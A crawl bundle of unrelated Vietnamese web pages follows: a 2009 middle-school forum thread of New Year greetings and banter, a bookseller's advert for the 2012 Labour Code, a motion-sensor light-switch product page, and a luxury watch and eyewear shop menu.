text:
๑๑۩۞۩๑๑Trường THCS Đống Đa๑๑۩۞۩๑๑
๑๑۩۞۩๑๑Thế giới này sẽ trở nên tốt đẹp hơn khi các bạn nắm tay nhau và cùng tiến bước๑๑۩۞۩๑๑
Tìm kiếm
Display results as :
Số bài
Chủ đề
Advanced Search
๑๑۩۞۩๑๑Trường THCS Đống Đa๑๑۩۞۩๑๑
::
º°¨(¯`•.¸(¯`•.¸ Bản Tin Trường¸.•´¯)¸.•´¯)¨°º
::
Nối vòng tay lớn
Share
|
yum mi yum mi
Tác giả
Thông điệp
superduck_phi
Lớp 2
Tổng số bài gửi
:
156
Points(điểm)
:
3539
Join date
:
31/12/2008
Age
:
22
Đến từ
:
hà nội 1
Tiêu đề: yum mi yum mi
Mon 26 Jan 2009, 09:38
hý hý !
hôm nay nà 1-1-2009 ( âm )
năm mứi rùi naz` ! chúk các em xjnk
học jỏi , nắm xiền và kutie hơn naz"
các em thiệt thòi thì được ấm no
____________
p/s : mìnk thật nà một người lương thiện
uầy
ko ngờ nói được như thế *** hazi ^^
bionicle1412
Lớp lá
Tổng số bài gửi
:
97
Points(điểm)
:
3467
Join date
:
27/12/2008
Age
:
21
Đến từ
:
Ha Noi
Tiêu đề: Re: yum mi yum mi
Mon 26 Jan 2009, 17:28
superduck_phi đã viết:
hý hý !
hôm nay nà 1-1-2009 ( âm )
năm mứi rùi naz` ! chúk các em xjnk
học jỏi , nắm xiền và kutie hơn naz"
các em thiệt thòi thì được ấm no
____________
p/s : mìnk thật nà một người lương thiện
uầy
ko ngờ nói được như thế *** hazi ^^
o,noi hay nho'
superduck_phi
Lớp 2
Tổng số bài gửi
:
156
Points(điểm)
:
3539
Join date
:
31/12/2008
Age
:
22
Đến từ
:
hà nội 1
Tiêu đề: hớ hớ
Tue 27 Jan 2009, 14:19
tất nhiên nà hay rồi
siêu nhân nàm việc thiện mờ
đây nà điều đương nhiên^^
bionicle1412
Lớp lá
Tổng số bài gửi
:
97
Points(điểm)
:
3467
Join date
:
27/12/2008
Age
:
21
Đến từ
:
Ha Noi
Tiêu đề: Re: yum mi yum mi
Wed 28 Jan 2009, 21:08
superduck_phi đã viết:
tất nhiên nà hay rồi
siêu nhân nàm việc thiện mờ
đây nà điều đương nhiên^^
The ma hoi truoc bao thien than hoa ac quy co day
superduck_phi
Lớp 2
Tổng số bài gửi
:
156
Points(điểm)
:
3539
Join date
:
31/12/2008
Age
:
22
Đến từ
:
hà nội 1
Tiêu đề: :|
Thu 29 Jan 2009, 11:27
ờk thỳ bi h
thànk siêu nhân rồi
bị người khác dụ dỗ
siêu nhân ngây thơ mà
:">:">
bionicle1412
Lớp lá
Tổng số bài gửi
:
97
Points(điểm)
:
3467
Join date
:
27/12/2008
Age
:
21
Đến từ
:
Ha Noi
Tiêu đề: Re: yum mi yum mi
Thu 29 Jan 2009, 19:16
superduck_phi đã viết:
ờk thỳ bi h
bị người khác dụ dỗ
siêu nhân ngây thơ màBuon cuoi wa!!!
:">:">
Delpiaro
Lớp 1
Tổng số bài gửi
:
102
Points(điểm)
:
3480
Join date
:
27/12/2008
Tiêu đề: Re: yum mi yum mi
Thu 29 Jan 2009, 21:16
superduck_phi đã viết:
hý hý !
hôm nay nà 1-1-2009 ( âm )
năm mứi rùi naz` ! chúk các em xjnk
học jỏi , nắm xiền và kutie hơn naz"
các em thiệt thòi thì được ấm no
____________
p/s : mìnk thật nà một người lương thiện
uầy
ko ngờ nói được như thế *** hazi ^^
Hu` nam moi rui day.
Chuc ba con manh khoe, hoc gioi va thanh cong. Co' nhieu em theo
Ma sao thiet thoi thi duoc am no????
am no nhu the nao??????
chuc mung nam moi
kanguru
Lớp lá
Tổng số bài gửi
:
91
Points(điểm)
:
3534
Join date
:
23/12/2008
Age
:
22
Đến từ
:
Hà Nội
Tiêu đề: Re: yum mi yum mi
Thu 29 Jan 2009, 22:35
superduck_phi đã viết:
hý hý !
hôm nay nà 1-1-2009 ( âm )
năm mứi rùi naz` ! chúk các em xjnk
học jỏi , nắm xiền và kutie hơn naz"
các em thiệt thòi thì được ấm no
____________
p/s : mìnk thật nà một người lương thiện
uầy
ko ngờ nói được như thế *** hazi ^^
Hừ
các em xuynh thifcacs anh được ngắm. Bổ mắt chứ sao.
ngoài ra chẳng được gì sớt
superduck_phi
Lớp 2
Tổng số bài gửi
:
156
Points(điểm)
:
3539
Join date
:
31/12/2008
Age
:
22
Đến từ
:
hà nội 1
Tiêu đề: hố hố
Sat 31 Jan 2009, 10:15
hay nờ hay nờ ^^
các em ấm no tức nà được nhận về naz`
sung túc bên ja đình mới nà
thế thôy mà cũng ko hiểu
chậc
phụ lòng tốt của mìnk
(
thế nà ko tôt[-(
mafia
Lớp 1
Tổng số bài gửi
:
135
Points(điểm)
:
3592
Join date
:
21/01/2009
Age
:
23
Đến từ
:
Thủ đô
Tiêu đề: Re: yum mi yum mi
Wed 04 Feb 2009, 16:13
superduck_phi đã viết:
hay nờ hay nờ ^^
các em ấm no tức nà được nhận về naz`
sung túc bên ja đình mới nà
thế thôy mà cũng ko hiểu
chậc
phụ lòng tốt của mìnk
(
thế nà ko tôt[-(
hờ đúng đay
tẩm bổ mắt tí cho thoả thích
tuoi13
Lớp mầm
Tổng số bài gửi
:
20
Points(điểm)
:
3380
Join date
:
08/05/2009
Tiêu đề: Re: yum mi yum mi
Mon 11 May 2009, 08:54
superduck_phi oi! cho mình làm quen với bán nhé. Ym của mình đây nqt_tuan80. Mong mình có thể kết bạn dc với nhau. Mong hồi âm của bạn.
ljnh lo lj
Lớp chồi
Tổng số bài gửi
:
32
Points(điểm)
:
3477
Join date
:
31/01/2009
Age
:
22
Đến từ
:
Ha thanh
Tiêu đề: Re: yum mi yum mi
Tue 19 May 2009, 19:25
) topic nay co ve dat khach day
_________________
dance to live _ live to dance
lanna1996
Cao Đẳng
Tổng số bài gửi
:
848
Points(điểm)
:
4232
Join date
:
16/05/2009
Đến từ
:
HN1-VN-Châu Á-Trái Đất-Hệ Mặt Trời...
Tiêu đề: Re: yum mi yum mi
Thu 28 May 2009, 18:03
superduck_phi đã viết:
tất nhiên nà hay rồi
siêu nhân nàm việc thiện mờ
đây nà điều đương nhiên^^
việc thiện j` mà thấy cãi nhau với dọa "oánh" người khác suốt nagyf ah...
_[Kut3]_
Cao Đẳng
Tổng số bài gửi
:
857
Points(điểm)
:
4237
Join date
:
28/05/2009
Đến từ
:
Hà Nội_Việt Nam
Tiêu đề: Re: yum mi yum mi
Sat 30 May 2009, 05:14
Cảm ơn bạn bionicle1412 nha
lanna1996
Cao Đẳng
Tổng số bài gửi
:
848
Points(điểm)
:
4232
Join date
:
16/05/2009
Đến từ
:
HN1-VN-Châu Á-Trái Đất-Hệ Mặt Trời...
Tiêu đề: Re: yum mi yum mi
Sat 30 May 2009, 14:07
tự dưng cảm ơn
_[Kut3]_
Cao Đẳng
Tổng số bài gửi
:
857
Points(điểm)
:
4237
Join date
:
28/05/2009
Đến từ
:
Hà Nội_Việt Nam
Tiêu đề: Re: yum mi yum mi
Sat 30 May 2009, 20:04
Cảm ơn vỳ bạ có một câu nói rất hay
_[Kut3]_
Cao Đẳng
Tổng số bài gửi
:
857
Points(điểm)
:
4237
Join date
:
28/05/2009
Đến từ
:
Hà Nội_Việt Nam
Tiêu đề: Re: yum mi yum mi
Sat 30 May 2009, 20:04
thế không đc sao
_[Kut3]_
Cao Đẳng
Tổng số bài gửi
:
857
Points(điểm)
:
4237
Join date
:
28/05/2009
Đến từ
:
Hà Nội_Việt Nam
Tiêu đề: Re: yum mi yum mi
Sat 30 May 2009, 20:09
cấm tớ á
_[Kut3]_
Cao Đẳng
Tổng số bài gửi
:
857
Points(điểm)
:
4237
Join date
:
28/05/2009
Đến từ
:
Hà Nội_Việt Nam
Tiêu đề: Re: yum mi yum mi
Sat 30 May 2009, 20:25
không cấm đc đâu nha
lanna1996
Cao Đẳng
Tổng số bài gửi
:
848
Points(điểm)
:
4232
Join date
:
16/05/2009
Đến từ
:
HN1-VN-Châu Á-Trái Đất-Hệ Mặt Trời...
Tiêu đề: Re: yum mi yum mi
Tue 02 Jun 2009, 10:00
ko cấm
thấy lạ thì hỏi thôi
Sponsored content
Tiêu đề: Re: yum mi yum mi
yum mi yum mi
Trang
1
trong tổng số
1
trang
Permissions in this forum:
Bạn
không có quyền
trả lời bài viết
๑๑۩۞۩๑๑Trường THCS Đống Đa๑๑۩۞۩๑๑
::
º°¨(¯`•.¸(¯`•.¸ Bản Tin Trường¸.•´¯)¸.•´¯)¨°º
::
Nối vòng tay lớn
๑๑۩۞۩๑๑Trường THCS Đống Đa๑๑۩۞۩๑๑
::
º°¨(¯`•.¸(¯`•.¸ Bản Tin Trường¸.•´¯)¸.•´¯)¨°º
::
Nối vòng tay lớn
Chuyển đến
:
Chọn Diễn Đàn
|
|--๑๑۩۞۩๑๑Thông báo๑๑۩۞۩๑๑
| |--Nội quy diễn đàn
| |--Thông báo mới
|
|--º°¨(¯`•.¸(¯`•.¸Trường THCS Đống Đa¸.•´¯)¸.•´¯)¨°º
| |--Phòng truyền thống Trường THCS Đống Đa
| |--Kỷ niệm mái trường
|
|--º°¨(¯`•.¸(¯`•.¸ Bản Tin Trường¸.•´¯)¸.•´¯)¨°º
| |--Thông tin chung
| |--Học Tập
| |--Gương sáng
| |--Đội TNTP Hồ Chí Minh
| |--Giáo dục - Hướng nghiệp
| |--Thông tin dành cho học sinh Khối 9
| |--Thể thao
| |--Nối vòng tay lớn
| |--Y tế học đường
|
|--º°¨(¯`•.¸(¯`•.¸ Theo gương Bác Hồ¸.•´¯)¸.•´¯)¨°º
|--º°¨(¯`•.¸(¯`•.¸ Thảo Luận chung¸.•´¯)¸.•´¯)¨°º
| |--Kỹ năng sống
| |--Học tập
| |--Xã hội và cuộc sống quanh ta
| |--Chém Gió - Fang Bão - Fệt Sóng Thần
| |--Chuyện lạ
| |--Mỗi ngày một ý tưởng
| |--Ăn uống - Ẩm thực
|
|--º°¨(¯`•.¸(¯`•.¸ Góc Học Tập¸.•´¯)¸.•´¯)¨°º
| |--Tin Học như cơm bình dân - Đọc xong vọc liền
| | |--Tin Tức CNTT
| | |--Mẹo vặt Tin Học
| | |--Thắc mắc về Hệ Điều Hành
| | |--Tin học văn phòng
| | |--Internet
| | |--Học Photosoft
| | |--Lập trình và ngôn ngữ lập trình
| | |--Phần mềm học tập
| | |--Giới thiệu - Trao đổi Website, Blog
| | |--Học Làm Flash
| |
| |--Khoa học tự nhiên
| |--Khoa học xã hội
| |--Ngoại ngữ
| |--Du học
| |--Các môn học khác
|
|--º°¨(¯`•.¸(¯`•.¸ Giải trí - Thư giãn¸.•´¯)¸.•´¯)¨°º
| |--Thế giới Games
| |--Vườn thơ
| | |--Thành viên tự sáng tác - Thơ cóp - Thơ củ chuối
| | |--Thơ từ cổ chí kim - đương đại
| |
| |--Tiếu Lâm
| |--Kho Truyện
|
|--º°¨(¯`•.¸(¯`•.¸ Member tâm sự¸.•´¯)¸.•´¯)¨°º
| |--Nơi thể hiện tài năng của các Member
| |--Nhịp cầu cung chúc
|
|--๑๑۩۞۩๑๑Cửa sổ lớp học๑๑۩۞۩๑๑
| |--º°¨(¯`•.¸(¯`•.¸Niên khóa 2009-2013¸.•´¯)¸.•´¯)¨°º
| | |--Lớp A12
| |
| |--º°¨(¯`•.¸(¯`•.¸ Niên khóa 2008-2012¸.•´¯)¸.•´¯)¨°º
| | |--Lớp A1
| | |--Lớp A2
| | |--Lớp A3
| | |--Lớp A4
| | |--Lớp A5
| | |--Lớp A6
| | |--Lớp A7
| | |--Lớp A8
| | |--Lớp A10
| | |--Lớp A11
| | |--Lớp A12
| |
| |--º°¨(¯`•.¸(¯`•.¸ Niên khóa 2007-2011¸.•´¯)¸.•´¯)¨°º
| | |--Lớp A1
| | |--Lớp A2
| | |--Lớp A3
| | |--Lớp A4
| | |--Lớp A5
| | |--Lớp A6
| | |--Lớp A7
| | |--Lớp A8
| | |--Lớp A10
| | |--Lớp A11
| |
| |--º°¨(¯`•.¸(¯`•.¸ Niên khóa 2006-2010¸.•´¯)¸.•´¯)¨°º
| | |--Lớp A
| | |--Lớp N
| | |--Lớp P
| | |--Lớp Z
| | |--Lớp B
| | |--Lớp D
| | |--Lớp G
| | |--Lớp H
| | |--Lớp I
| |
| |--º°¨(¯`•.¸(¯`•.¸ Niên khóa 2005-2009¸.•´¯)¸.•´¯)¨°º
| | |--Lớp 9A
| | |--Lớp 9N
| | |--Lớp 9P
| | |--Lớp 9Z
| | |--Lớp 9B
| | |--Lớp 9D
| | |--Lớp 9E
| | |--Lớp 9H
| | |--Lớp 9I
| |
| |--º°¨(¯`•.¸(¯`•.¸Các khoá đã ra trường¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khoá 2004-2008¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khoá 2003-2007¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khoá 2002-2006¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khoá 2001-2005¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸ Niên khóa 2000-2004¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1999-2003¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1998-2002¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1997-2001¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1996-2000¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1995-1999¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1994-1998¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1993-1997¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1992-1996¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1991-1995¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸ Niên khóa 1990-1994¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸ Niên khóa 1981- 1985¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1980-1984¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1979-1983¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1978-1982¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1977-1981¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1976-1980¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1975-1979¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khoá 1974-1978¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Niên khóa 1973 - 1977¸.•´¯)¸.•´¯)¨°º
| | |--º°¨(¯`•.¸(¯`•.¸Khóa học đầu tiên 1972-1976¸.•´¯)¸.•´¯)¨°º
| |
| |--º°¨(¯`•.¸(¯`•.¸ Câu lạc bộ cựu học sinh¸.•´¯)¸.•´¯)¨°º
| |--Nhắn tìm đồng đội
|
|--º°¨(¯`•.¸(¯`•.¸ Thắc mắc - Góp ý - Kiếu nại¸.•´¯)¸.•´¯)¨°º
|--Mọi thắc mắc - góp ý - khiếu nại thì vào đây
|--Kho Rác Thải Công Nghệ
Create a forum on Forumotion
|
©
phpBB
|
Free forum support
|
Liên hệ
|
Report an abuse
|
www.sosblogs.com

markdown:
๑๑۩۞۩๑๑Trường THCS Đống Đa๑๑۩۞۩๑๑
![]()
![]()
![]()
Lớp lá
![]()
![]()
![]()
![]()
![]()
![]()
tất nhiên nà hay rồi
siêu nhân nàm việc thiện mờ
đây nà điều đương nhiên^^
![]()
![]()
![]()
![]()
![]()
![]()
![]()
ờk thỳ bi h
thànk siêu nhân rồi
bị người khác dụ dỗ
siêu nhân ngây thơ mà
:">:">
![]()
![]()
![]()
![]()
![]()
![]()
Hu` nam moi rui day.
Chuc ba con manh khoe, hoc gioi va thanh cong. Co' nhieu em theo
Ma sao thiet thoi thi duoc am no????
am no nhu the nao??????
chuc mung nam moi
![]()
![]()
![]()
![]()
Hừ
các em xuynh thifcacs anh được ngắm. Bổ mắt chứ sao.
ngoài ra chẳng được gì sớt
![]()
![]()
![]()
hay nờ hay nờ ^^
các em ấm no tức nà được nhận về naz`
sung túc bên ja đình mới nà
thế thôy mà cũng ko hiểu
chậc
phụ lòng tốt của mìnk
![]()
thế nà ko tôt[-(
![]()
![]()
![]()
hờ đúng đay
tẩm bổ mắt tí cho thoả thích
![]()
![]()
![]()
superduck_phi oi! cho mình làm quen với bán nhé. Ym của mình đây nqt_tuan80. Mong mình có thể kết bạn dc với nhau. Mong hồi âm của bạn.
![]()
![]()
![]()
![]()
_________________
dance to live _ live to dance
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
Cảm ơn bạn bionicle1412 nha
![]()
![]()
![]()
tự dưng cảm ơn
![]()
![]()
![]()
Cảm ơn vỳ bạ có một câu nói rất hay
![]()
![]()
![]()
thế không đc sao
![]()
![]()
![]()
cấm tớ á
![]()
![]()
![]()
không cấm đc đâu nha
![]()
![]()
![]()
ko cấm
thấy lạ thì hỏi thôi
![]()
![]()
![]()
yum mi yum mi
![]()

P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Cache-Control: no-cache


text:
lien13ktdn3
0934183483
thienphucsach@gmail.com
Giá Bán :
350,000
Liên hệ: Ms.Liên Tel: 0934
183 483 – 08. 22 192 334
Website: thienphucsach.mysite.vn
Kính thưa quý đơn vị!
Theo
Bộ luật lao động ngày 18-6-2012 thì tiền
lương làm thêm giờ của người lao động không quá 50% số giờ làm việc chính
thức trong 1 ngày, trong trường hợp áp dụng quy định làm việc theo tuần thì
tổng số giờ làm việc bình thường và số giờ làm thêm không quá 12 giờ trong 1
ngày; không quá 30 giờ trong 1 tháng và tổng số không quá 200 giờ trong 1 năm,
trừ một số trường hợp đặc biệt do Chính phủ quy định thì được làm thêm giờ
không quá 300 giờ trong 1 năm.
Lao động
nữ được nghỉ trước và sau khi sinh con 6 tháng. Trường hợp lao động nữ sinh đôi
trở lên thì tính từ con thứ 2 trở đi, cứ mỗi con, người mẹ được nghỉ thêm 1
tháng. Thời gian nghỉ trước khi sinh tối đa không quá 2 tháng.
Mức lương tối thiểu, giờ làm thêm, thời gian nghỉ thai sản, thẩm quyền
tuyên bố hợp đồng lao động vô hiệu; thỏa ước lao động tập thể vô hiệu… đó là
những nội dung được Quốc hội xem xét sửa đổi Bộ Luật Lao động kỳ này. Nhà xuất bản Lao
động - Xã hội thuộc Bộ Lao động – Thương binh và Xã hội Việt Nam trân trọng
giới thiệu bộ tư liệu:
BỘ LUẬT LAO ĐỘNG
và văn bản hướng dẫn thi
hành
ĐƯỢC QUỐC HỘI KHÓA 13 KỲ HỌP THỨ 3 THÔNG QUA NGÀY
18-6-2012
(Ngôn ngữ Anh – Việt)
Sách bao gồm một số ý chính sau:
PHẦN I: Bộ luật lao động được quốc hội khóa
13 kỳ họp thứ 3 thông qua ngày 18-6-2012
PHẦN
II: Hướng dẫn mới nhất thực hiện chế độ lương, trợ cấp 2012
PHẦN
III: Văn bản hướng dẫn bộ luật lao động
PHẦN
IV: Hướng dẫn chế độ bảo hiểm
PHẦN
V:Tuyển dụng quản lý lao động nước ngoài làm việc tại Việt nam
PHẦN
VI: Danh mục doanh nghiệp không được đình công
PHẦN
VII: Quy định mới nhất đối với lao động nữ
PHẦN
VIII: Công tác an toàn lao động
Nghị định 46/2012/NĐ-CP ngày 22-5-2012 Quy định
chế độ bảo hiểm cháy, nổ bắt buộc
Nghị định số
41/2012/NĐ-CP
ngày 08-5-2012 Quy định về vị trí việc làm
Nghị định 29/2012/nđ-cp ngày
12-4-2012 Về tuyển dụng, sử dụng và quản lý viên chức
Nghị định số 39/2012/NĐ-CP ngày 27-4-2012 quy định chi tiết thi hành một số
điều của Luật thi đua, khen thưởng
Nghị định số
34/2012/NĐ-CP
ngày 15-4-2012 Về chế độ phụ cấp công vụ
THÔNG TƯ SỐ 74/2012/TT-BTC ngày 14-5-2012 Hướng dẫn
xác định nhu cầu, nguồn và phương thức chi thực hiện điều chỉnh mức lương tối
thiểu chung
Thông tư số 09/2012/TT-BLĐTBXH ngày
26-04-2012 Hướng dẫn điều chỉnh lương hưu, trợ
cấp bảo hiểm xã hội và trợ cấp hàng
Thông tư số 10/2012/TT-BLĐTBXH ngày 26-4-2012 Hướng dẫn
thực hiện mức lương tối thiểu chung
Thông tư
liên tịch số 01/2012/TTLT-BNV-BTC
ngày 16-5-2102 CỦA BỘ
NỘI VỤ - BỘ TÀI CHÍNH Hướng dẫn thực hiện mức lương tối thiểu chung
Thông tư
liên tịch số 02/2012/TTLT-BNV-BTC
ngày 16-5-2012 CỦA BỘ
NỘI VỤ - BỘ TÀI CHÍNH Hướng dẫn thực hiện điều chỉnh mức trợ cấp hàng
tháng từ ngày 01 - 5 - 2012
Chúng tôi tin rằng cuốn sách sẽ là cẩm nang
thực sự cần thiết cho quý cơ quan và các cá nhân có liên quan đến lĩnh vực này.
Sách được in trên giấy trắng sắp xếp khoa học, đẹp, khổ 20*28 cm, dày 500
trang, Giá bán trên toàn quốc: 350.000 đồng/cuốn. Giao
tận nơi (có hóa đơn tài chính)
Mọi chi tiết xin vui lòng liên hệ:
TT THƯƠNG
MẠI THIÊN PHÚC
55 Tam Bình, P.Hiệp Bình Chánh, q. Thủ Đức,
Tp.HCM
Tel: 08. 22 192 334 – 0934 183 483 (Ms.Liên)
Email: thienphucsach@gmail.com
Giải đáp về ĐỊNH MỨC DỰ TOÁN ...
325,000 VND
LUẬT DOANH NGHIỆP, LUẬT ĐẦU ...
TU DƯỠNG, RÈN LUYỆN ĐẠO ĐỨC ...
CỤM TÌNH BÁO J22 - Những chiến ...
299,000 VND
HIẾN PHÁP VIỆT NAM QUA CÁC THỜI ...
300,000 VND
Hồ sơ chiến tranh - 81 ngày đêm ...
310,000 VND
7 ANH HÙNG TÌNH BÁO QUÂN ĐỘI ...
LỊCH SỬ, VĂN HOÁ , TIỀM NĂNG ...
295,000 VND
ĐỊNH MỨC DỰ TOÁN CÔNG TRÌNH ...
NHÀ GIÁO VIỆT NAM - Được lưu ...
BỘ LUẬT LAO ĐỘNG - LUẬT CÔNG ...
CHỦ TỊCH, CÁN BỘ CÔNG CHỨC XÃ, ...
LUẬT XỬ LÝ VI PHẠM HÀNH CHÍNH ...
LUẬT QUẢN LÝ THUẾ - CHÍNH SÁCH ...
BỘ LUẬT LAO ĐỘNG 2012 (QH thông ...
350,000 VND
ĐỊNH MỨC DỰ TOÁN XÂY DỰNG CÔNG ...
385,000 VND
LUẬT AN TOÀN THỰC PHẨM
CÁC LUẬT THUẾ MỚI 2012
298,000 VND
- Tất cả -
DOANH NHÂN - LÃNH ĐẠO
TIỀN LƯƠNG - BHXH - BHYT
HÀNH CHÍNH - NHÂN SỰ
BIỂU THUẾ XUẤT NHẬP KHẨU
LUẬT LAO ĐỘNG - CÔNG ĐOÀN
LUẬT KHOÁNG SẢN
XÂY DỰNG, ĐẤT ĐAI, NHÀ Ở
SÁCH PHONG THỦY
DANH MỤC SÁCH CÁC LOẠI
SÁCH HỎI ĐÁP
LUẬT BẢO VỆ MÔI TRƯỜNG
LUẬT DOANH NGHIỆP
KẾ TOÁN DOANH NGHIỆP - CHÍNH SÁCH THUẾ
Y TẾ - DƯỢC PHẨM
KẾ TOÁN HCSN
GIÁO DỤC - NHÀ TRƯỜNG
ĐẢNG - CHÍNH TRỊ
LỊCH SỬ - VĂN HÓA XÃ HỘI
QUY CHUẨN - TIÊU CHUẨN
ĐỊNH MỨC - ĐƠN GIÁ
KINH TẾ - MẪU HỢP ĐỒNG
PHÁP LUẬT
QUẢN LÝ NHÀ NƯỚC
VI PHẠM HÀNH CHÍNH
LUẬT AN TOÀN THỰC PHẨM
TÀI CHÍNH - NGÂN HÀNG
Chọn giá: VNĐ
-
Lượt truy cập: 44,550
Tham gia : 11/10/2011
Số lượng SP : 63

WARC-Type: response

Content-Type: application/http; msgtype=response

WARC-Identified-Payload-Type: application/xhtml+xml

Cache-Control: private

Content-Type: text/html; charset=utf-8

Connection: close


text:
Cảm ứng cầu thang SH-D5Cho vào giỏ
Mã SP: SH-D5
Giá: 790.000 VND
Tình trạng: Còn hàng
Mô tả:
CẢM ỨNG CẦU THANG SH-D5
Điện áp sử dụng: 220V - 50/60HZ
Công suất tải đèn sợi đốt tối đa 1600 W, đèn huỳnh quang tối đa 400W
Khoảng cách cảm ứng tối đa 5m (tạo vùng cảm ứng tối đa 20 mét vuông)
Chế độ cảm biến sáng Ngày - Đêm tùy chỉnh
Nhiệt độ hoạt động 0 độ - 50 độ C
Kích thước hộp: 90x90x38 mm
Trọng lượng 70 gram
-
Bật đèn gắn tường thông minh
- Điều khiển thông minh bằng chip vi xử lý
- Có công tắc nút ấn để chọn chế độ: On / Off / Auto
- Điện áp: 220V – 50/60Hz
- Khả năng chịu tải: Đèn sợi đốt 1600W / đèn huỳnh quang 400W
- Khoảng cách cảm ứng: 5m / Vùng cảm ứng khả dụng: 20m2
- Cảm biến ánh sáng: Ngày / đêm tùy chỉnh
- Bảo hành: 12 tháng
HƯỚNG DẪN SỬ DỤNG
Chưa có thông tin cập nhật!
Chưa có thông tin cập nhật!

markdown:
![ ](http://thietbidiencamung.com/upload/2012/11/08/detail_introimage/xSHD5-32.png.pagespeed.ic.SFkTOsMy60.png)
## Cảm ứng cầu thang SH-D5
[Cho vào giỏ](#)
##### Mã SP: SH-D5
##### Giá: 790.000 VND
##### Tình trạng: Còn hàng
**Mô tả:**
CẢM ỨNG CẦU THANG SH-D5
Điện áp sử dụng: 220V - 50/60HZ
Công suất tải đèn sợi đốt tối đa 1600 W, đèn huỳnh quang tối đa 400W
Khoảng cách cảm ứng tối đa 5m (tạo vùng cảm ứng tối đa 20 mét vuông)
Chế độ cảm biến sáng Ngày - Đêm tùy chỉnh
Nhiệt độ hoạt động 0 độ - 50 độ C
Kích thước hộp: 90x90x38 mm
Trọng lượng 70 gram
-
**Bật đèn gắn tường thông minh**
- Điều khiển thông minh bằng chip vi xử lý
- Có công tắc nút ấn để chọn chế độ: On / Off / Auto
- Điện áp: 220V – 50/60Hz
- Khả năng chịu tải: Đèn sợi đốt 1600W / đèn huỳnh quang 400W
- Khoảng cách cảm ứng: 5m / Vùng cảm ứng khả dụng: 20m2
- Cảm biến ánh sáng: Ngày / đêm tùy chỉnh
- Bảo hành: 12 tháng
|
|
Hãng sản xuất:
|SmartHome|
|Xuất xứ:||Chính hãng|
|Bảo hành:||12 tháng|
|Chức năng:||Tự động bật đèn khi có người đi vào vùng cảm ứng|
|Phù hợp lắp đặt cho cổng, ban công, hành lang, phòng vệ sinh, khu công cộng|
|Điện áp:||220V - 50/60Hz|
|Khả năng chịu tải:||Đèn sợi đốt tối đa 1,600W|
|Đèn huỳnh quang tối đa 400W|
|Khoảng cách cảm ứng:||Tối đa 5m|
|Vùng cảm ứng khả dụng:||Tối đa 20m2|
|Chế độ cảm biến ánh sáng:||Ngày / Đêm tùy chỉnh|**HƯỚNG DẪN SỬ DỤNG**
Chưa có thông tin cập nhật!
Chưa có thông tin cập nhật!

Server: nginx/1.10.3 (Ubuntu)

Pragma: no-cache

Cache-Control: max-age=0, no-cache, no-store

Content-Type: text/html; charset=UTF-8


text:
0964 058 021
0902 486 510
Trang chủ
Giới thiệu
Đồng hồ
Đồng hồ Rolex
Đồng hồ Patek Philippe
Đồng hồ Longines
Đồng hồ Richard Mille
Đồng hồ Tissot
Đồng hồ Hublot
Đồng hồ Cartier
Đồng hồ Casio
Đồng hồ Armani
Đồng hồ Citizen
Đồng hồ Omega
Đồng hồ Vacheron Constantin
Đồng hồ Burberry
Đồng hồ Mido
Đồng hồ Rado
Đồng hồ Seiko
Đồng hồ nữ
Đồng hồ Rolex nữ
Đồng hồ Longines nữ
Đồng hồ Michael Kors nữ
Đồng hồ Patek Philippe nữ
Đồng hồ Burberry nữ
Đồng hồ Emporio Armani nữ
Đồng hồ Omega nữ
Đồng hồ Citizen Eco Drive nữ
Đồng hồ Tissot nữ
Đồng hồ Casio nữ
Đồng hồ Franck Muller nữ
Kính mắt
Kính mắt Porsche
Kính mắt Dolce Gabbana
Kính mắt Rayban
Kính mắt Cartier
Kính mắt Dior
Kính mắt Gucci
Kính mắt BMW
Kính mắt Miu Miu
Kính mắt Chanel
Kính mắt Mont Blanc
Kính mắt Hermes
Kính mắt Kenzo
Kính Cơn Ao
Kính mắt Night View
Kính mắt Louis Vuitton
Kính mắt Mercedes Benz
Kính mắt Gentle Monster
Kính mắt Emporio Armani
Kính mắt Audi
Kính mắt Prada
Dây lưng
Dây lưng Louis Vuitton
Dây lưng Gucci
Dây lưng Montblanc
Dây lưng Hermes
Dây lưng Cartier
Dây lưng Dunhill
Dây lưng Armani
Dây lưng khác
Túi xách nam
Túi xách nữ
Giày da thật nam hàng hiệu
